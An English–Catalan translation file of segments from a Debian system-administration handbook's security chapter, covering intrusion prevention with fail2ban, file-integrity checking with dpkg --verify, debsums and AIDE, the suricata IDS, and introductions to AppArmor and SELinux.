en: The <emphasis role="pkg">mrtg-contrib</emphasis> and <emphasis role="pkg">mrtgutils</emphasis> packages contain example scripts that can be used directly.
ca-ES: Els paquets <emphasis role="pkg">mrtg-contrib</emphasis> i <emphasis role="pkg">mrtgutils</emphasis> contenen scripts d'exemple que es poden utilitzar directament.

en: Avoiding Intrusion
ca-ES: Evitar les intrusions

en: <primary>intrusion detection</primary>
ca-ES: <primary>detecció d'intrusions</primary>

en: <filename>fail2ban.conf</filename>. Global configuration (such as logging).
ca-ES: <filename>fail2ban.conf</filename>. Configuració global (com ara el registre).

en: <filename>filter.d/*.conf</filename>. Filters specifying how to detect authentication failures. The Debian package already contains filters for many common programs.
ca-ES: <filename>filter.d/*.conf</filename>. Filtres que especifiquen com detectar errors d'autenticació. El paquet Debian ja conté filtres per a molts programes habituals.

en: <filename>jail.conf</filename>. It is where <emphasis>jails</emphasis>, the combinations of filters and actions, are defined.
ca-ES: <filename>jail.conf</filename>. És on es defineixen «<emphasis>jails</emphasis>» o “presons”, les combinacions de filtres i accions.

en: Let us have a look at the configuration of <command>sshd</command> in <filename>/etc/fail2ban/jail.conf</filename> to better understand how Fail2Ban works...
ca-ES: Si es fa un cop d'ull a la configuració d'<command>sshd</command> a <filename>/etc/fail2ban/jail.conf</filename> es pot entendre millor com funciona Fail2Ban...

en: Fail2Ban is a very simple and effective way to protect against the most common brute-force attacks, but it cannot protect against distributed brute-force attacks, which is when an attacker uses a large number of machines spread around the Internet.
ca-ES: Fail2Ban és una forma molt senzilla i eficaç de protegir-se contra els atacs de força bruta més comuns, però no pot protegir contra atacs de força bruta distribuïda, que és quan un atacant utilitza un gran nombre de màquines escampades per Internet.

en: A good way to provide extra protection against distributed brute force attacks is to artificially increase the login time after each failed attempt.
ca-ES: Una bona manera de proporcionar protecció addicional contra els atacs de força bruta distribuïda és augmentar artificialment el temps d'inici de sessió després de cada intent fallit.

en: Detecting Changes
ca-ES: Detecció de canvis

en: Once the system is installed and configured, and barring security upgrades, there is usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes).
ca-ES: Una vegada que el sistema està instal·lat i configurat, i exceptuant les actualitzacions de seguretat, no hi ha cap raó perquè la majoria dels fitxers i directoris evolucionin, tret de les dades. Per tant, és interessant assegurar-se que els arxius no canvien realment: d'aquesta manera valdria la pena investigar qualsevol canvi inesperat. Aquesta secció presenta algunes eines que poden usar per monitoritzar els fitxers i advertir a l'administrador quan es produeix un canvi inesperat (o simplement per llistar aquests canvis).

en: Auditing Packages with <command>dpkg --verify</command>
ca-ES: Auditar els paquets amb <command>dpkg --verify</command>

en: <emphasis>GOING FURTHER</emphasis> Protecting against upstream changes
ca-ES: <emphasis>ANANT MÉS ENLLÀ</emphasis> Protecció contra els canvis de les fonts

en: <command>dpkg --verify</command> (or <command>dpkg -V</command>) is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. To do its job it relies on checksums stored in dpkg's own database which is stored on the hard disk (they can be found in <filename>/var/lib/dpkg/info/<replaceable>package</replaceable>.md5sums</filename>); a thorough attacker will therefore update these files so they contain the new checksums for the subverted files.
ca-ES: <command>dpkg --verify</command> (o <command>dpkg -V</command>) és una eina interessant ja que permet trobar els fitxers instal·lats que han estat modificats (potencialment per un atacant), però això s'ha de prendre amb precaució. Per fer la tasca es basa en les sumes de verificació emmagatzemades a la base de dades del dpkg que s'emmagatzema al disc dur (es poden trobar a <filename>/var/lib/dpkg/info/<replaceable>paquet</replaceable>.md5sums</filename>); un atacant minuciós actualitzarà aquests fitxers de manera que continguin les sumes de verificació noves per als fitxers subvertits.

en: <emphasis>BACK TO BASICS</emphasis> File fingerprint
ca-ES: <emphasis>TORNAR A LES BASES</emphasis> Empremta d'un fitxer

en: <primary>fingerprint</primary>
ca-ES: <primary>empremta</primary>

en: Running <command>dpkg -V</command> will verify all installed packages and will print out a line for each file with a failing test. The output format is the same as the one of <command>rpm -V</command> where each character denotes a test on some specific meta-data. Unfortunately <command>dpkg</command> does not store the meta-data needed for most tests and will thus output question marks for them. Currently only the checksum test can yield a "5" on the third character (when it fails).
ca-ES: En executar <command>dpkg -V</command> es verificaran tots els paquets instal·lats i s'imprimirà una línia per a cada fitxer que no passi el test. El format de sortida és el mateix que el de <command>rpm -V</command> on cada caràcter denota una prova en algunes metadades específiques. Malauradament <command>dpkg</command> no emmagatzema les metadades necessàries per a la majoria de les proves i per tant mostrarà interrogants en elles. Actualment només la prova de suma de verificació pot produir un "5" al tercer caràcter (quan falla).

en: Auditing Packages: <command>debsums</command> and its Limits
ca-ES: Auditoria de paquets: <command>debsums</command> i les seves limitacions

en: Since the data on the disk cannot be trusted, <command>debsums</command> offers to do its checks based on <filename>.deb</filename> files instead of relying on dpkg's database. To download trusted <filename>.deb</filename> files of all the packages installed, we can rely on APT's authenticated downloads. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis.
ca-ES: Com que les dades del disc no són confiables, <command>debsums</command> ofereix fer les seves comprovacions basades en fitxers <filename>.deb</filename> en lloc de confiar en la base de dades del dpkg. Per descarregar fitxers <filename>.deb</filename> de confiança per tots els paquets instal·lats, podem confiar en les descàrregues autenticades d'APT. Aquesta operació pot ser lenta i tediosa, i per tant no ha de considerar-se una tècnica proactiva per ser utilitzada de manera regular.

en: Note that this example uses the <command>grep-status</command> command from the <emphasis role="pkg">dctrl-tools</emphasis> package, which is not installed by default.
ca-ES: Tingueu en compte que aquest exemple utilitza l'ordre <command>grep-status</command> del paquet <emphasis role="pkg">dctrl-tools</emphasis>, que no està instal·lat per defecte.

en: Monitoring Files: AIDE
ca-ES: Monitorització de fitxers: AIDE

en: The AIDE tool (<emphasis>Advanced Intrusion Detection Environment</emphasis>) allows checking file integrity, and detecting any change against a previously recorded image of the valid system. This image is stored as a database (<filename>/var/lib/aide/aide.db</filename>) containing the relevant information on all files of the system (fingerprints, permissions, timestamps and so on). This database is first initialized with <command>aideinit</command>; it is then used daily (by the <filename>/etc/cron.daily/aide</filename> script) to check that nothing relevant changed. When changes are detected, AIDE records them in log files (<filename>/var/log/aide/*.log</filename>) and sends its findings to the administrator by email.
ca-ES: L'eina AIDE («<emphasis>Advanced Intrusion Detection Environment</emphasis>» o “entorn avançat de detecció d'intrusions”) permet comprovar la integritat de l'arxiu i detectar qualsevol canvi contra una imatge prèviament registrada del sistema vàlid. Aquesta imatge s'emmagatzema com a base de dades (<filename>/var/lib/aide/aide.db</filename>) que conté la informació rellevant sobre tots els fitxers del sistema (empremtes, permisos, marques temporals, etc.). Aquesta base de dades s'inicia per primera vegada amb <command>aideinit</command>; després s'utilitza diàriament (per l'script <filename>/etc/cron.daily/aide</filename>) per comprovar que res rellevant no ha canviat. Quan es detecten canvis, l'AIDE els registra en els arxius de registre (<filename>/var/log/aide/*.log</filename>) i envia els seus descobriments a l'administrador per correu electrònic.

en: <emphasis>IN PRACTICE</emphasis> Protecting the database
ca-ES: <emphasis>A LA PRÀCTICA</emphasis> Protecció de la base de dades

en: Since AIDE uses a local database to compare the states of the files, the validity of its results is directly linked to the validity of the database. If an attacker gets root permissions on a compromised system, they will be able to replace the database and cover their tracks. A possible workaround would be to store the reference data on read-only storage media.
ca-ES: Com que AIDE utilitza una base de dades local per comparar els estats dels fitxers, la validesa dels seus resultats està directament relacionada amb la validesa de la base de dades. Si un atacant obté permisos de superusuari en un sistema compromès, podria reemplaçar la base de dades i ocultar les seves traces. Una possible solució seria emmagatzemar les dades de referència en mitjans d'emmagatzematge de només lectura.

en: Many options in <filename>/etc/default/aide</filename> can be used to tweak the behavior of the <emphasis role="pkg">aide</emphasis> package. The AIDE configuration proper is stored in <filename>/etc/aide/aide.conf</filename> and <filename>/etc/aide/aide.conf.d/</filename> (actually, these files are only used by <command>update-aide.conf</command> to generate <filename>/var/lib/aide/aide.conf.autogenerated</filename>). Configuration indicates which properties of which files need to be checked. For instance, the contents of log files changes routinely, and such changes can be ignored as long as the permissions of these files stay the same, but both contents and permissions of executable programs must be constant. Although not very complex, the configuration syntax is not fully intuitive, and reading the <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry> manual page is therefore recommended.
ca-ES: Moltes opcions a <filename>/etc/default/aide</filename> es poden utilitzar per ajustar el comportament del paquet <emphasis role="pkg">aide</emphasis>. La configuració adequada de l'AIDE s'emmagatzema a <filename>/etc/aide/aide.conf</filename> i <filename>/etc/aide/aide.conf.d/</filename> (realment, aquests fitxers només s'utilitzen per <command>update-aide.conf</command> per generar <filename>/var/lib/aide/aide.conf.autogenerated</filename>). La configuració indica quines propietats dels fitxers s'han de comprovar. Per exemple, el contingut dels arxius de registre canvia de manera rutinària, així aquests canvis es poden ignorar sempre que els permisos d'aquests fitxers romanguin iguals, però tant el contingut com els permisos dels programes executables han de ser constants. Encara que no és molt complexa, la sintaxi de configuració no és completament intuïtiva, i per tant es recomana llegir la pàgina del manual <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry>.

en: A new version of the database is generated daily in <filename>/var/lib/aide/aide.db.new</filename>; if all recorded changes were legitimate, it can be used to replace the reference database.
ca-ES: Una nova versió de la base de dades es genera diàriament a <filename>/var/lib/aide/aide.db.new</filename>; si tots els canvis registrats fossin legítims, es pot utilitzar per reemplaçar la base de dades de referència.

en: <emphasis>ALTERNATIVE</emphasis> Tripwire and Samhain
ca-ES: <emphasis>ALTERNATIVA</emphasis> Tripwire i Samhain

en: Tripwire is very similar to AIDE; even the configuration file syntax is almost the same. The main addition provided by <emphasis role="pkg">tripwire</emphasis> is a mechanism to sign the configuration file, so that an attacker cannot make it point at a different version of the reference database.
ca-ES: Tripwire és molt similar a AIDE; fins i tot la sintaxi del fitxer de configuració és gairebé la mateixa. L'afegit principal proporcionat per <emphasis role="pkg">tripwire</emphasis> és un mecanisme per signar l'arxiu de configuració, de manera que un atacant no pot fer-lo apuntar en una versió diferent de la base de dades de referència.

en: Samhain also offers similar features, as well as some functions to help detecting rootkits (see the sidebar <xref linkend="sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages" />). It can also be deployed globally on a network, and record its traces on a central server (with a signature).
ca-ES: Samhain també ofereix característiques similars, així com algunes funcions per ajudar a detectar «rootkits» (vegeu la barra lateral <xref linkend="sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages" />). També es pot desplegar globalment en una xarxa, i desar les seves traces en un servidor central (amb signatura).

en: <emphasis>QUICK LOOK</emphasis> The <emphasis role="pkg">checksecurity</emphasis> and <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis> packages
ca-ES: <emphasis>ULLADA RÀPIDA</emphasis> Els paquets <emphasis role="pkg">checksecurity</emphasis> i <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis>

en: The first of these packages contains several small scripts performing basic checks on the system (empty passwords, new setuid files, and so on) and warning the administrator if required. Despite its explicit name, an administrator should not rely solely on it to make sure a Linux system is secure.
ca-ES: El primer d'aquests paquets conté diversos petits scripts que realitzen comprovacions al sistema (contrasenyes buides, nous fitxers setuid, etc.) i adverteixen a l'administrador si és necessari. Malgrat el seu nom explícit, un administrador no hauria de confiar únicament en ell per assegurar-se que un sistema Linux és segur.

en: The <emphasis role="pkg">chkrootkit</emphasis> and <emphasis role="pkg">rkhunter</emphasis> packages allow looking for <emphasis>rootkits</emphasis> potentially installed on the system. As a reminder, these are pieces of software designed to hide the compromise of a system while discreetly keeping control of the machine. The tests are not 100% reliable, but they can usually draw the administrator's attention to potential problems.
ca-ES: Els paquets <emphasis role="pkg">chkrootkit</emphasis> i <emphasis role="pkg">rkhunter</emphasis> permeten la cerca de <emphasis>rootkits</emphasis> instal·lats potencialment al sistema. Com a recordatori, es tracta de peces de programari dissenyades per amagar el compromís d'un sistema mentre es manté discretament el control de la màquina. Les proves no són 100% fiables, però normalment poden cridar l'atenció de l'administrador sobre els possibles problemes.

en: <emphasis role="pkg">rkhunter</emphasis> also performs checks to see if commands have been modified, if the system startup files have been modified, and various checks on the network interfaces, including checks for listening applications.
ca-ES: <emphasis role="pkg">rkhunter</emphasis> també realitza comprovacions per veure si s'han modificat les ordres, si s'han modificat els fitxers d'arrencada del sistema, i diverses comprovacions a les interfícies de xarxa, incloent-hi comprovacions per a aplicacions que hi pugui escoltar.

en: Detecting Intrusion (IDS/NIDS)
ca-ES: Detecció d'intrusions (IDS/NIDS)

en: <emphasis>BACK TO BASICS</emphasis> Denial of service
ca-ES: <emphasis>TORNAR A LES BASES</emphasis> Denegació de servei

en: A “denial of service” attack has only one goal: to make a service unavailable. Whether such an attack involves overloading the server with queries or exploiting a bug, the end result is the same: the service is no longer operational. Regular users are unhappy, and the entity hosting the targeted network service suffers a loss in reputation (and possibly in revenue, for instance if the service was an e-commerce site).
ca-ES: Un atac de “denegació de servei” només té un objectiu: fer que un servei no estigui disponible. Tant si un atac d'aquest tipus implica sobrecarregar el servidor amb consultes o explotar un error, el resultat final és el mateix: el servei deixa d'estar operatiu. Els usuaris regulars no estan satisfets i l'entitat que acull el servei de xarxa específic sofreix una pèrdua de reputació (i possiblement d'ingressos, per exemple si el servei era un lloc de comerç electrònic).

en: Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: <acronym>DDoS</acronym> and <acronym>DoS</acronym> (depending on whether the denial of service attack is distributed or not).
ca-ES: Aquest atac és de vegades “distribuït”; això normalment implica sobrecarregar el servidor amb un gran nombre de consultes procedents de molts orígens diferents perquè el servidor no pugui respondre a les consultes legítimes. Aquests tipus d'atacs han guanyat acrònims coneguts: <acronym>DDoS</acronym> i <acronym>DoS</acronym> (depenent de si l'atac de denegació de servei és distribuït o no).

en: <emphasis>CAUTION</emphasis> Range of action
ca-ES: <emphasis>COMPTE</emphasis> Rang d'acció

en: The effectiveness of <command>suricata</command> is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting <command>suricata</command> should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic.
ca-ES: L'efectivitat de <command>suricata</command> està limitada pel trànsit vist a la interfície de xarxa controlada. Evidentment, no podrà detectar res si no pot observar el trànsit real. Quan es connecti a un commutador de xarxa només controlarà els atacs dirigits a la màquina en la qual s'executa, la qual cosa probablement no és la intenció. La màquina que alberga <command>suricata</command> s'hauria d'endollar al port de "mirall" del commutador, que normalment es dedica a encadenar commutadors i, per tant, rep tot el trànsit.

en: To detect bad behavior, <command>suricata</command> needs a set of monitoring rules: you can find such rules in the <emphasis role="pkg">snort-rules-default</emphasis> package. <command>snort</command> is the historical reference in the IDS ecosystem and <command>suricata</command> is able to reuse rules written for it.
ca-ES: Per detectar un comportament maliciós, <command>suricata</command> necessita un conjunt de regles de seguiment: es poden trobar aquestes regles al paquet <emphasis role="pkg">snort-rules-default</emphasis>. <command>snort</command> és la referència històrica a l'ecosistema IDS i <command>suricata</command> és capaç de reutilitzar les regles escrites per a ell.

en: <emphasis>GOING FURTHER</emphasis> Integration with <command>prelude</command>
ca-ES: <emphasis>ANANT MÉS ENLLÀ</emphasis> Integració amb <command>prelude</command>

en: Prelude brings centralized monitoring of security information. Its modular architecture includes a server (the <emphasis>manager</emphasis> in <emphasis role="pkg">prelude-manager</emphasis>) which gathers alerts generated by <emphasis>sensors</emphasis> of various types.
ca-ES: Prelude aporta un control centralitzat de la informació de seguretat. La seva arquitectura modular inclou un servidor (el <emphasis>gestor</emphasis> de <emphasis role="pkg">prelude-manager</emphasis>) que reuneix alertes generades per <emphasis>sensors</emphasis> de diversos tipus.

en: Suricata can be configured as such a sensor. Other possibilities include <emphasis>prelude-lml</emphasis> (<emphasis>Log Monitor Lackey</emphasis>) which monitors log files (in a manner similar to <command>logcheck</command>, described in <xref linkend="sect.logcheck" />).
ca-ES: El Suricata es pot configurar com a sensor d'aquests. Altres possibilitats inclouen <emphasis>prelude-lml</emphasis> (<emphasis>Log Monitor Lackey</emphasis>) que monitoritza els fitxers de registre (de manera similar a <command>logcheck</command>, descrit a <xref linkend="sect.logcheck" />).

en: Introduction to AppArmor
ca-ES: Introducció a AppArmor

en: Principles
ca-ES: Principis

en: AppArmor is a <emphasis>Mandatory Access Control</emphasis> (MAC) system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries AppArmor before each system call to know whether the process is authorized to do the given operation. Through this mechanism, AppArmor confines programs to a limited set of resources.
ca-ES: AppArmor és un sistema «<emphasis>Mandatory Access Control</emphasis>» o “control obligatori d'accés” (MAC) basat en la interfície de Linux LSM («<emphasis>Linux Security Modules</emphasis>» “mòduls de seguretat de linux”). A la pràctica, el nucli consulta AppArmor abans de cada crida de sistema per saber si el procés està autoritzat a fer l'operació demanada. A través d'aquest mecanisme, AppArmor limita els programes a un conjunt limitat de recursos.

en: AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in <xref linkend="sect.selinux" />), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behavior!).
ca-ES: AppArmor aplica un conjunt de regles (conegut com a «profile» o “perfil”) a cada programa. El perfil aplicat pel nucli depèn del camí d'instal·lació del programa que s'està executant. Contràriament al SELinux (descrit al <xref linkend="sect.selinux" />), les regles aplicades no depenen de l'usuari. Tots els usuaris s'enfronten al mateix conjunt de regles quan estan executant el mateix programa (però els permisos d'usuari tradicionals encara s'apliquen i poden resultar en un comportament diferent!).

en: AppArmor profiles are stored in <filename>/etc/apparmor.d/</filename> and they contain a list of access control rules on resources that each program can make use of. The profiles are compiled and loaded into the kernel by the <command>apparmor_parser</command> command. Each profile can be loaded either in enforcing or complaining mode. The former enforces the policy and reports violation attempts, while the latter does not enforce the policy but still logs the system calls that would have been denied.
ca-ES: Els perfils d'AppArmor s'emmagatzemen a <filename>/etc/apparmor.d/</filename> i contenen una llista de regles de control d'accés sobre els recursos que cada programa pot utilitzar. Els perfils són compilats i carregats al nucli per l'ordre <command>apparmor_parser</command>. Cada perfil es pot carregar en mode forçat («enforcing») o reclamat («complaining»). El primer fa complir la política i informa dels intents de violació, mentre que el segon no fa complir la política, però tot i així registra les crides del sistema que s'haurien denegat.

en: Enabling AppArmor and managing AppArmor profiles
ca-ES: Habilitar AppArmor i gestionar-ne els perfils

en: AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing some packages by executing <command>apt install apparmor apparmor-profiles apparmor-utils</command> with root privileges.
ca-ES: El suport d'AppArmor està integrat en els nuclis estàndard proporcionats per Debian. Per tant, l'activació d'AppArmor és només qüestió d'instal·lar alguns paquets mitjançant l'execució d'<command>apt install apparmor apparmor-profiles apparmor-utils</command> amb privilegis d'administrador.

en: AppArmor is functional after the installation, and <command>aa-status</command> will confirm it quickly:
ca-ES: AppArmor és funcional després de la instal·lació, i <command>aa-status</command> ho confirmarà ràpidament:

en: <emphasis>NOTE</emphasis> More AppArmor profiles
ca-ES: <emphasis>NOTA</emphasis> Més perfils d'AppArmor

en: The <emphasis role="pkg">apparmor-profiles</emphasis> package contains profiles managed by the upstream AppArmor community. To get even more profiles you can install <emphasis role="pkg">apparmor-profiles-extra</emphasis> which contains profiles developed by Ubuntu and Debian.
ca-ES: El paquet <emphasis role="pkg">apparmor-profiles</emphasis> conté perfils gestionats per la comunitat d'AppArmor. Per obtenir encara més perfils podeu instal·lar <emphasis role="pkg">apparmor-profiles-extra</emphasis> que conté perfils desenvolupats per Ubuntu i Debian.

en: The state of each profile can be switched between enforcing and complaining with calls to <command>aa-enforce</command> and <command>aa-complain</command> giving as parameter either the path of the executable or the path to the policy file. Additionally a profile can be entirely disabled with <command>aa-disable</command> or put in audit mode (to log accepted system calls too) with <command>aa-audit</command>.
ca-ES: L'estat de cada perfil es pot intercanviar entre forçat i reclamació amb crides a <command>aa-enforce</command> i <command>aa-complain</command> donant com a paràmetre el camí de l'executable o el camí al fitxer de política. A més, un perfil es pot desactivar completament amb <command>aa-disable</command> o posat en mode d'auditoria (per també registrar les crides al sistema acceptades) amb <command>aa-audit</command>.

en: Creating a new profile
ca-ES: Creació d'un perfil nou

en: Even though creating an AppArmor profile is rather easy, most programs do not have one. This section will show you how to create a new profile from scratch just by using the target program and letting AppArmor monitor the system call it makes and the resources it accesses.
ca-ES: Tot i que crear un perfil d'AppArmor és bastant fàcil, la majoria dels programes no en tenen. Aquesta secció us mostrarà com crear un nou perfil des de zero només mitjançant l'ús del programa en qüestió i deixant que AppArmor monitoritzi les crides de sistema que fa i els recursos que accedeix.

en: The most important programs that need to be confined are the network facing programs as those are the most likely targets of remote attackers. That is why AppArmor conveniently provides an <command>aa-unconfined</command> command to list the programs which have no associated profile and which expose an open network socket. With the <literal>--paranoid</literal> option you get all unconfined processes that have at least one active network connection.
ca-ES: Els programes més importants que cal confinar són el programes que interaccionen amb la xarxa, ja que aquests són els objectius més probables dels atacants remots. Per això AppArmor proporciona convenientment una ordre <command>aa-unconfined</command> per llistar els programes que no tenen cap perfil associat i que exposen un sòcol de xarxa obert. Amb l'opció <literal>--paranoid</literal> obtindreu tots els processos no confinats que tenen almenys una connexió activa de xarxa.

en: The first event detected is the execution of another program. In that case, you have multiple choices: you can run the program with the profile of the parent process (the “Inherit” choice), you can run it with its own dedicated profile (the “Profile” and the “Named” choices, differing only by the possibility to use an arbitrary profile name), you can run it with a sub-profile of the parent process (the “Child” choice), you can run it without any profile (the “Unconfined” choice) or you can decide to not run it at all (the “Deny” choice).
ca-ES: El primer esdeveniment detectat és l'execució d'un altre programa. En aquest cas, hi ha diverses opcions: podeu executar el programa amb el perfil del procés pare (l'opció «inherit» o “heretar”), podeu executar-lo amb el seu propi perfil dedicat (opcions «Profile» i “Named”, que difereixen només per la possibilitat d'utilitzar un nom de perfil arbitrari), podeu executar-lo amb un “sub-perfil” del procés pare (opció «Child» o “fill”), podeu executar-lo sense cap perfil (l'opció «Unconfined» o “desconfinada”) o podeu decidir no executar-lo en absolut (l'opció “Deny”).

en: Note that when you opt to run it under a dedicated profile that doesn't exist yet, the tool will create the missing profile for you and will make rule suggestions for that profile in the same run.
ca-ES: Tingueu en compte que quan opteu per executar-lo sota un perfil dedicat que encara no existeix, l'eina us crearà el perfil que falta i farà suggeriments de regles per a aquest perfil en la mateixa execució.

en: At the kernel level, the special powers of the root user have been split in “capabilities”. When a system call requires a specific capability, AppArmor will verify whether the profile allows the program to make use of this capability.
ca-ES: A nivell del nucli, els poders especials de l'usuari administrador estan dividits en «capabilities» o “capacitats”. Quan una crida de sistema requereix d'una capacitat específica, AppArmor verificarà si el perfil permet al programa fer ús d'aquesta capacitat.

en: Here the program seeks read permissions for <filename>/etc/ssl/openssl.cnf</filename>. <command>aa-genprof</command> detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “2” to first select the “#include &lt;abstractions/openssl&gt;” choice and then “A” to allow it.
ca-ES: Aquí el programa cerca permisos de lectura per <filename>/etc/ssl/openssl.cnf</filename>. <command>aa-genprof</command> ha detectat que aquest permís també va ser concedit per múltiples “abstraccions” i les ofereix com a opcions alternatives. Una abstracció proporciona un conjunt de regles d'accés reutilitzables que agrupen diversos recursos que s'utilitzen habitualment junts. En aquest cas específic, el fitxer s'accedeix generalment a través de les funcions relacionades amb el servei de noms de la biblioteca C i s'escriu "2" per seleccionar primer l'opció “#include&lt;abstractions/openssl&gt;” i després “A” per permetre-ho.

en: Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed <filename>/usr/sbin/dhclient-script</filename> to run with its own profile.
ca-ES: Tingueu en compte que aquesta sol·licitud d'accés no forma part del perfil dhclient sinó del nou perfil que s'ha creat quan s'ha permès que <filename>/usr/sbin/dhclient-script</filename> s'executi amb el seu propi perfil.

en: After having gone through all the logged events, the program offers to save all the profiles that were created during the run. In this case, we have two profiles that we save at once with “Save” (but you can save them individually too) before leaving the program with “Finish”.
ca-ES: Després d'haver passat per tots els esdeveniments registrats, el programa ofereix salvar tots els perfils que es s'han creat durant l'execució. En aquest cas, tenim dos perfils que es desen alhora amb «Save» (però també els podeu desar individualment) abans de sortir del programa amb «Finish».

en: <command>aa-genprof</command> is in fact only a smart wrapper around <command>aa-logprof</command>: it creates an empty profile, loads it in complain mode and then run <command>aa-logprof</command> which is a tool to update a profile based on the profile violations that have been logged. So you can re-run that tool later to improve the profile that you just created.
ca-ES: <command>aa-genprof</command> és de fet només un “embolcall” intel·ligent al voltant de <command>aa-logprof</command>: crea un perfil buit, el carrega en mode de “reclamació” i després executa <command>aa-logprof</command> que és una eina per actualitzar un perfil basat en les violacions de perfil que s'han registrat. Així que es pot tornar a executar aquesta eina més endavant per millorar el perfil que s'acaba de crear.

en: Introduction to SELinux
ca-ES: Introducció a SELinux

en: SELinux (<emphasis>Security Enhanced Linux</emphasis>) is a <emphasis>Mandatory Access Control</emphasis> system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation.
ca-ES: SELinux («<emphasis>Security Enhanced Linux</emphasis>» o “Linux amb seguretat millorada”) és un sistema de <emphasis>control d'accés obligatori</emphasis> («Mandatory Access Control») fonamentat en la interfície LSM de Linux («<emphasis>Linux Security Modules</emphasis>» o “mòduls de seguretat de Linux”). A la pràctica, el nucli consulta a SELinux abans que cada crida de sistema per saber si el procés està autoritzat a fer l'operació donada.

en: SELinux uses a set of rules — collectively known as a <emphasis>policy</emphasis> — to authorize or forbid operations. Those rules are difficult to create. Fortunately, two standard policies (<emphasis>targeted</emphasis> and <emphasis>strict</emphasis>) are provided to avoid the bulk of the configuration work.
ca-ES: SELinux utilitza un conjunt de regles, conegudes col·lectivament com a <emphasis>política</emphasis>, per autoritzar o prohibir les operacions. Aquestes normes són difícils de crear. Afortunadament, es proporcionen dues polítiques estàndard («<emphasis>targeted</emphasis>», o “dirigides”, i «<emphasis>strict</emphasis>», o “estrictes”) per evitar la major part de la feina de configuració.

en: With SELinux, the management of rights is completely different from traditional Unix systems. The rights of a process depend on its <emphasis>security context</emphasis>. The context is defined by the <emphasis>identity</emphasis> of the user who started the process, the <emphasis>role</emphasis> and the <emphasis>domain</emphasis> that the user carried at that time. The rights really depend on the domain, but the transitions between domains are controlled by the roles. Finally, the possible transitions between roles depend on the identity.
ca-ES: Amb SELinux, la gestió dels drets és completament diferent dels sistemes Unix tradicionals. Els drets d'un procés depenen del seu <emphasis>context de seguretat</emphasis>. El context es defineix per la <emphasis>identitat</emphasis> de l'usuari que inicia el procés, el <emphasis>rol</emphasis> i el <emphasis>domini</emphasis> que l'usuari té en aquell moment. Els drets realment depenen del domini, però les transicions entre dominis estan controlades pels rols. Finalment, les possibles transicions entre rols depenen de la identitat.

en: Security contexts and Unix users
ca-ES: Contextos de seguretat i usuaris d'Unix

en: In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call <command>newrole -r <replaceable>role_r</replaceable> -t <replaceable>domain_t</replaceable></command> (there is usually only a single domain allowed for a given role, the <literal>-t</literal> parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy.
ca-ES: A la pràctica, durant l'inici de sessió, l'usuari té assignat per defecte un context de seguretat (depenent dels rols que es puguin adoptar). Això defineix el domini actual, i per tant el domini que portaran tots els nous processos fills. Si es vol canviar el rol actual i el seu domini associat, cal executar <command>newrole -r <replaceable>rol_r</replaceable> -t <replaceable>domini_t</replaceable></command> (normalment només hi ha un sol domini permès per a un rol donat, així doncs el paràmetre <literal>-t</literal> sovint es pot obviar). Aquesta ordre autentica l'usuari demanant la contrasenya. Aquesta característica impedeix que els programes canviïn automàticament els rols. Aquests canvis només poden ocórrer si estan explícitament permesos en la política de SELinux.

en: Obviously the rights do not apply to all <emphasis>objects</emphasis> (files, directories, sockets, devices, etc.). They can vary from object to object. To achieve this, each object is associated to a <emphasis>type</emphasis> (this is known as labeling). Domains' rights are thus expressed with sets of (dis)allowed operations on those types (and, indirectly, on all objects which are labeled with the given type).
ca-ES: Òbviament els drets no s'apliquen a tots els <emphasis>objectes</emphasis> (fitxers, directoris, sòcols, dispositius, etc.). Poden variar d'objecte a objecte. Per aconseguir-ho, cada objecte està associat a un <emphasis>tipus</emphasis> (això es coneix com a etiquetatge). Els drets dels dominis s'expressen així amb conjunts d'operacions (des)autoritzades en aquests tipus (i, indirectament, en tots els objectes que estan etiquetats amb el tipus donat).

en: <emphasis>EXTRA</emphasis> Domains and types are equivalent
ca-ES: <emphasis>EXTRA</emphasis> Dominis i tipus són equivalents

en: Internally, a domain is just a type, but a type that only applies to processes. That is why domains are suffixed with <literal>_t</literal> just like objects' types.
ca-ES: Internament, un domini és només un tipus, però un tipus que només s'aplica a processos. Per això els dominis s'han de sufixar amb <literal>_t</literal> igual que els tipus d'objectes.

